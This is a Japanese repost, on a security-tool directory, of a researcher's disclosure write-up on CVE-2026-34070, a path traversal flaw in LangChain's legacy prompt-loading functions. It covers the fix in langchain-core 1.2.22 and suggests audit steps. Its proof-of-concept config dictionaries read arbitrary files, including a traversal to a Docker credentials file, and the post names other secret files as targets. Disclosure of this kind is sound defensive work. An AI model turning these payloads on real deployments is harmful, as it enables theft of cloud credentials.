Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-34070 — langchainにゼロデイ脆弱性を発見しました — その経緯をご紹介します | Kitploit
ツール/GitHubGitHub/rickidevs/cve-2026-34070
脆弱性分析エクスプロイトウェブセキュリティ論文と研究学習と教育
GitHubrickidevs/cve-2026-34070

CVE-2026-34070

langchainにゼロデイ脆弱性を発見しました — その経緯をご紹介します

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

LangChainでパストラバーサルのバグを発見 — クラウド認証情報が漏洩する可能性

AIで最も人気のあるフレームワークの1つに残された忘れられたレガシーAPIが、どのようにして何百万ものアプリケーションを任意のファイル読み取りに静かに晒していたのか。


概念実証が初回で成功したときに感じる、あの独特の感覚があります。正確には興奮ではありません — むしろ、何か現実の出来事が起きたという、ゆっくりと広がる不快な認識です。それが、load_prompt_from_config() に対してテスト設定を実行し、読むはずのないファイルの内容がそのままターミナルに出力されるのを見たときに感じた感覚でした。

これはCVE-2026-34070の物語です。langchain-core におけるパストラバーサル脆弱性で、現在はバージョン1.2.22で修正されています。


なぜLangChainなのか?

ここ数年でAIを使って何かを構築したことがあるなら、ほぼ間違いなくLangChainに触れたことがあるでしょう。これは現代のAIスタックの結合組織です — 言語モデル、ベクターストア、ツール、プロンプト管理をまとめ上げて一貫したアプリケーションにするフレームワークです。GitHubで13万以上のスターを獲得し、週末の小規模プロジェクトからエンタープライズ展開まで幅広く採用されているため、ここでの脆弱性は封じ込められたままにはなりません。

私はプロンプトサブシステムのコードレビューをしていたときに、あるものが目に留まりました。langchain_core/prompts/loading.py というモジュールです。それは、逆シリアル化された設定ディクショナリから直接取得した値に基づいて、ディスクからファイルを読み込んでいました。検証なし。パスのサニタイズなし。ただ open(path) だけです。

私は読み続けました。


脆弱なコード

この中心には3つの内部関数がありました:

  • _load_template() — 、、 によって参照されるファイルを読み取ります
template_path
suffix_path
prefix_path
  • _load_examples() — examples キーが文字列の場合に、それによって参照されるファイルを読み取ります
  • _load_few_shot_prompt() — example_prompt_path によって参照されるファイルを読み取ります
  • ファイル拡張子のチェックはありました。テンプレートには .txt。例には .json、.yaml、.yml。しかし、これらのパスが絶対パス(/etc/passwd)やトラバーサルベース(../../../../home/user/.ssh/)であることを防ぐものは何もありませんでした。拡張子フィルタは誤った安心感を与えていました — 攻撃者が適切な拡張子を選ぶ必要があるというだけで、攻撃がブロックされているわけではありませんでした。

    これらの関数はすべて、load_prompt() と load_prompt_from_config() という2つの公開APIを通じて到達可能です。


    概念実証

    最もシンプルなバージョンは次のようになりました:

    root@kitploit:~
    from langchain_core.prompts.loading import load_prompt_from_config
    
    config = {
        "_type": "prompt",
        "template_path": "/tmp/secret.txt",
        "input_variables": [],
    }
    
    prompt = load_prompt_from_config(config)
    print(prompt.template)  # /tmp/secret.txt の内容がきれいに出力される
    

    これだけです。絶対パスを渡すと、PromptTemplate にラップされたファイルの内容が返ってきます。認証なし。特別な権限なし。設定ディクショナリに影響を与えることができれば、ファイルを読み取ることができます。

    ディレクトリトラバーサルも同様にきれいに機能しました:

    root@kitploit:~
    config = {
        "_type": "prompt",
        "template_path": "../../etc/secret.txt",
        "input_variables": [],
    }
    

    JSON/YAMLバリアントは、到達できるファイルの種類のため、おそらくより危険でした:

    root@kitploit:~
    config = {
        "_type": "few_shot",
        "examples": "../../../../.docker/config.json",
        "example_prompt": {
            "_type": "prompt",
            "input_variables": ["input", "output"],
            "template": "{input}: {output}",
        },
        "prefix": "",
        "suffix": "{query}",
        "input_variables": ["query"],
    }
    
    prompt = load_prompt_from_config(config)
    

    .docker/config.json にはDocker Hubの認証情報が含まれています。~/.azure/accessTokens.json にはAzureのトークンがあります。Kubernetesマニフェスト、CI/CD設定、内部アプリケーション設定 — ファイルシステム上のどこかにあり、適切な拡張子を持つものはすべて対象でした。


    現実世界の攻撃対象領域

    CVSSスコアは 7.5 High で、ベクターは AV:N/AC:L/PR:N/UI:N — ネットワークからアクセス可能、低複雑性、権限不要、ユーザー操作不要です。

    スコアが9以上に制約されているのは、ファイル拡張子チェックが読み取れるファイルを制限するためです。しかし、7.5でも特定の展開パターンにおける現実世界の影響を過小評価しています。

    これが本番環境のどこに影響するかを考えてみてください:

    • ローコードAIビルダー — ユーザーがUIを通じてプロンプトを設定できるもの。バックエンドがユーザー制御の設定を直接 load_prompt_from_config() に渡す場合、すべてのユーザーが潜在的な攻撃者になります。
    • APIラッパー — ライブラリがサニタイズを処理すると想定して、プロンプト読み込みエンドポイントを公開するもの。
    • クラウド展開アプリ — 環境シークレットがファイルとしてマウントされているもの(Kubernetes、AWS ECS、GCPで非常に一般的なパターン)。

    これらの環境では、「ファイル拡張子による制約」という制限はあまり重要ではありません。攻撃者は、適切な拡張子を持つ既知のファイルを単純にターゲットにできます。典型的なクラウドインスタンスでは:requirements.txt、config.yaml、.env.yaml、.json 拡張子のマウントされたシークレットファイル — リストは長いです。


    なぜこれが存在していたのか

    影響を受ける関数は、アドバイザリで「文書化されていないレガシーAPI」と説明されています。これらは、現在の langchain_core.load シリアライゼーションシステム(dumpd/dumps/load/loads)より前に存在します。現在のシステムは許可リストベースのモデルを使用し、ファイルシステムの読み取りを行いません。

    新しいAPIは存在します。より優れています。しかし、古いコードは決してクリーンアップされませんでした — 検証なしで、到達可能なまま、ただそこにありました。

    これは注目に値するパターンです。急速に成長するオープンソースプロジェクト、特にLangChainのように急速に成長したプロジェクトでは、技術的負債が隅に蓄積されます。「実際にはユーザー向けではなかった」レガシーコードは、主要なAPIサーフェスと同じ精査を受けません。しかし、それでも呼び出し可能です。それでもパッケージに含まれています。そして、ディスクからファイルを読み取るなら、潜在的な脆弱性です。


    修正

    パッチは langchain-core 1.2.22 で提供されました。修正では、ファイルが開かれる前に、絶対パスと .. トラバーサルシーケンスの両方を拒否するパス検証が追加されています。信頼できるパスから読み取る必要があるアプリケーション向けに、allow_dangerous_paths=True というエスケープハッチが用意されており、呼び出し側がリスクを選択していることを明示的に認識します。

    レガシーAPIはこのリリースで正式に非推奨にもなりました。2.0.0で完全に削除されます。どこかで load_prompt() または load_prompt_from_config() を使用している場合は、破壊的な変更を待つよりも、今すぐ langchain_core.load 相当のものに移行してください。

    今すぐ更新してください:

    root@kitploit:~
    pip install --upgrade langchain-core
    

    1.2.22以降であることを確認します:

    root@kitploit:~
    python -c "import langchain_core; print(langchain_core.__version__)"
    

    自分のコードベースで確認すべきこと

    LangChain上で構築している場合、簡単な監査を実行する価値があります:

    1. コードベースで load_prompt と load_prompt_from_config を検索します。 見つかった場合は、何が渡されているかを確認します。
    2. これらの関数に流れ込む設定ディクショナリに、ユーザーの影響を受ける値が含まれているかどうかを確認します。 答えが「はい」の場合、更新前は潜在的に脆弱でした。
    3. 展開環境のファイルレイアウトを確認します。 インスタンス上に .txt、.json、.yaml 拡張子のファイルが何があり、何が含まれているかを理解します。

    最後に

    AIインフラストラクチャのセキュリティバグは、これらのシステムがより機密性の高いワークロードを処理するにつれて、重要性が増すことはあっても減ることはありません。LangChainのチームはよく対応しました — 修正はクリーンで、非推奨の道筋は明確で、アドバイザリのドキュメントは徹底しています。

    しかし、これは良い教訓です。AIアプリケーションの攻撃対象領域はモデルだけではないということです。スタック内のすべてのライブラリ、クリーンアップされなかったすべてのレガシー関数、「ユーザーはここに信頼できない入力を渡さないだろう」という前提が保証ではなくなったすべての場所です。

    コードを読みましょう。特に古い部分を。


    CVE-2026-34070はこの脆弱性に割り当てられました。完全なアドバイザリは LangChain GitHub Security Advisory で入手できます。

    ツールをダウンロード